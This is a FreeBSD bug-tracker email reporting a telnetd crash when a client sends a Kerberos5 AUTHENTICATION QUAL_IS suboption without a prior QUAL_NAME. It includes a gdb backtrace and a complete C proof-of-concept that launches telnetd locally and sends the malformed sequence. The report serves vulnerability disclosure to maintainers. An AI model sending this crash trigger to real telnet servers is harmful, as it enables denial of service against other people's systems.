Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 30 Sep 2022 16:42:32 +0000
From:      bugzilla-noreply@freebsd.org
To:        bugs@FreeBSD.org
Subject:   [Bug 266719] telnetd crashes if it receives IAC EC at session start
Message-ID:  <bug-266719-227-dVXNPB3Ez1@https.bugs.freebsd.org/bugzilla/>
In-Reply-To: <bug-266719-227@https.bugs.freebsd.org/bugzilla/>
References:  <bug-266719-227@https.bugs.freebsd.org/bugzilla/>

next in thread | previous in thread | raw e-mail | index | archive | help
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D266719

--- Comment #1 from Robert Morris <rtm@lcs.mit.edu> ---
Separately, if a client is authenticating and sends an SB
AUTHENTICATION QUAL_IS for Kerberos5 without a preceding QUAL_NAME,
there's a crash in line 506 of kerberos5_is() in
libtelnet/kerberos5.c:

        pwd =3D getpwnam (UserNameRequested);

UserNameRequested isn't set if there was no QUAL_NAME.

Here's a backtrace and a demo program:

Program received signal SIGSEGV, Segmentation fault.
Address not mapped to object.
0x0000000801600e10 in strcmp () from /lib/libc.so.7
(gdb) where
#0  0x0000000801600e10 in strcmp () from /lib/libc.so.7
#1  0x000000080154d0d8 in ?? () from /lib/libc.so.7
#2  0x000000080154ec07 in ?? () from /lib/libc.so.7
#3  0x0000000801594e8d in nsdispatch () from /lib/libc.so.7
#4  0x000000080154f34c in getpwnam () from /lib/libc.so.7
#5  0x00000000010374f0 in kerberos5_is (ap=3D0x103b9e8 <authenticators+56>,=
=20
    data=3D0x801e74fc6 "root", cnt=3D1)
    at /usr/src/contrib/telnet/libtelnet/kerberos5.c:506
#6  0x00000000010349c9 in auth_is (data=3D<optimized out>, cnt=3D<optimized=
 out>)
    at /usr/src/contrib/telnet/libtelnet/auth.c:475
#7  0x000000000102c9d0 in suboption ()
    at /usr/src/contrib/telnet/telnetd/state.c:1425
#8  0x000000000102c0fc in telrcv ()
    at /usr/src/contrib/telnet/telnetd/state.c:334
#9  0x0000000001030974 in ttloop ()
    at /usr/src/contrib/telnet/telnetd/utility.c:84
#10 0x00000000010324f9 in telnet_spin ()
    at /usr/src/contrib/telnet/telnetd/authenc.c:70
#11 0x0000000001034c6f in auth_wait (name=3D0x103e510 <user_name> "")
    at /usr/src/contrib/telnet/libtelnet/auth.c:568
#12 0x000000000102f143 in getterminaltype (name=3D<optimized out>)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:483
#13 0x000000000102efd8 in doit (who=3Dwho@entry=3D0x7fffffffe790)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:715
#14 0x000000000102ecb5 in main (argc=3D0, argv=3D<optimized out>)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:408

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur =3D r.rlim_max =3D 0;
  setrlimit(RLIMIT_CORE, &r);
  signal(SIGPIPE, SIG_IGN);

  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family =3D AF_INET;
  sin.sin_addr.s_addr =3D inet_addr("127.0.0.1");
  sin.sin_port =3D htons(2323);

  int ss =3D socket(AF_INET, SOCK_STREAM, 0);
  int yes =3D 1;
  setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  if(bind(ss, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind");
    exit(1);
  }
  listen(ss, 10);

  if(fork() =3D=3D 0){
    struct sockaddr sa;
    socklen_t len =3D sizeof(sa);
    int s1 =3D accept(ss, &sa, &len);
    if(s1 < 0){
      perror("accept");
      exit(1);
    }
    close(ss);
    dup2(s1, 0);
    dup2(s1, 1);
    dup2(s1, 2);
    close(s1);
    execl("/usr/libexec/telnetd", "telnetd", (void*)0);
    perror("execl");
    exit(1);
  }

  close(ss);

  int cc =3D socket(AF_INET, SOCK_STREAM, 0);
  if(connect(cc, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("connect");
    exit(1);
  }

#define IAC  255
#define DONT 254
#define DO   253
#define WONT 252
#define WILL 251
#define SB   250
#define SE   240

#define OPT_TTYPE    24
#define OPT_TSPEED   32
#define OPT_LINEMODE 34
#define OPT_XDISPLOC 35
#define OPT_OLD_ENVIRON 36
#define OPT_AUTHENTICATION 37
#define OPT_ENCRYPT  38
#define OPT_NEW_ENVIRON 39
#define OPT_LFLOW 33
#define OPT_NAWS 31

#define QUAL_IS 0
#define QUAL_SEND 1
#define QUAL_REPLY 2
#define QUAL_NAME 3

  {
    sleep(1);
    char buf[512];
    int n =3D read(cc, buf, sizeof(buf));
  }

  {
    char buf[] =3D {
      IAC, WILL, OPT_AUTHENTICATION,
    };
    write(cc, buf, sizeof(buf));
  }

  char data[] =3D {
    // IAC, SB, OPT_AUTHENTICATION, QUAL_NAME, '1', '2', '3', IAC, SE,
    IAC, SB, OPT_AUTHENTICATION, QUAL_IS, 2, 0, 4, IAC, SE,
  };

  if(write(cc, data, sizeof(data)) < 0)
    perror("write");

  sleep(1);
  close(cc);
  sleep(1);

  int st =3D 0;
  int xpid =3D wait(&st);
  if(WIFEXITED(st))
    printf("telnetd pid %d exited normally\n", xpid);
  if(WIFSIGNALED(st))
    printf("telnetd pid %d died due to signal %d\n", xpid, WTERMSIG(st));
}

--=20
You are receiving this mail because:
You are the assignee for the bug.=



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-266719-227-dVXNPB3Ez1>